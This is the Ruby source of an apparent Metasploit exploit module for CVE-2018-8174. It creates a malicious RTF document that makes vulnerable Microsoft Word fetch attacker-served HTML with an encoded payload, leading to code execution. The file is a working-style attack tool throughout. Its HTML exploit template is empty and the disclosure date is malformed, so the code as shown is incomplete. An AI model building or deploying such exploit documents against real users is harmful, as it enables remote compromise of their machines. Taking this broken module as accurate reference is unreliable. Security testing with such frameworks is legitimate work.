class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => "Microsoft Office CVE-2018-8174",
'Description' => %q{
This module creates a malicious RTF file that when opened in
vulnerable versions of Microsoft Word will lead to code execution.
},
'Author' =>
[
'Random APT ?', # Vulnerability discovery and exploit
'0x09AL', # Module developer
],
'License' => MSF_LICENSE,
'References' => [
['CVE', 'CVE-2018-8174'],
['URL', 'https://www.trustwave.com/Resources/SpiderLabs-Blog/CVE-2018-8174-and-Forcing-Internet-Explorer-Exploits/'],
['URL', 'https://securelist.com/root-cause-analysis-of-cve-2018-8174/85486/'],
['URL', 'https://github.com/smgorelik/Windows-RCE-exploits/tree/master/Web/VBScript']
],
'Platform' => 'win',
'Targets' =>
[
[ 'Microsoft Office Word 32-bit', {} ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'DefaultTarget' => 0,
'Privileged' => false,
'DisclosureDate' => 'Late April 2018'))
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.rtf']),
OptString.new('URIPATH', [ true, 'The URI path to use', '/'])
])
end
def build_ie_exploit
encoded_payload = Rex::Text.to_unescape(payload.encoded)
# build html
content = <<-HTML
HTML
content
end
def create_rtf_file
template_path = ::File.join(Msf::Config.data_directory, "exploits", "CVE-2018-8174.rtf")
template_rtf = ::File.open(template_path, 'rb')
data = template_rtf.read(template_rtf.stat.size)
host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket.source_address : datastore['SRVHOST']
scheme = datastore['SSL'] ? 'https' : 'http'
url = "#{scheme}://#{host}:#{datastore['SRVPORT']}#{'/' + Rex::FileUtils.normalize_unix_path(datastore['URIPATH'])}"
normal_url = Rex::Text.hexify(url)
unicode_url = Rex::Text.hexify(url)
unicode_url = "#{unicode_url[2..-1]}"
# Replaces the \x with 00 to make it compatible.
unicode_url.gsub!('\\x', "00")
unicode_url.delete!("\n")
# Strips the \x from the hex to make it comaptible with word
normal_url.delete!("\n")
normal_url.delete!("\\x")
normal_url.delete!("\\")
# Finds the padding size
padding_size = (78 - normal_url.length)
normal_url << "0" * padding_size
padding_size = (154 - unicode_url.length)
unicode_url << "0" * padding_size
# Replaces the data
data.gsub!('NORMAL_URL', normal_url)
data.gsub!('UNICODE_URL', unicode_url)
fail_with(Failure::BadConfig, "Url length exceeds 78 bytes ") if normal_url.length > 78
data
end
def on_request_uri(cli, req)
print_status("Delivering Exploit")
hta_payload = regenerate_payload(cli)
send_response(cli, build_ie_exploit, 'Content-Type' => 'text/html')
end
def exploit
file_create(create_rtf_file)
super
end
end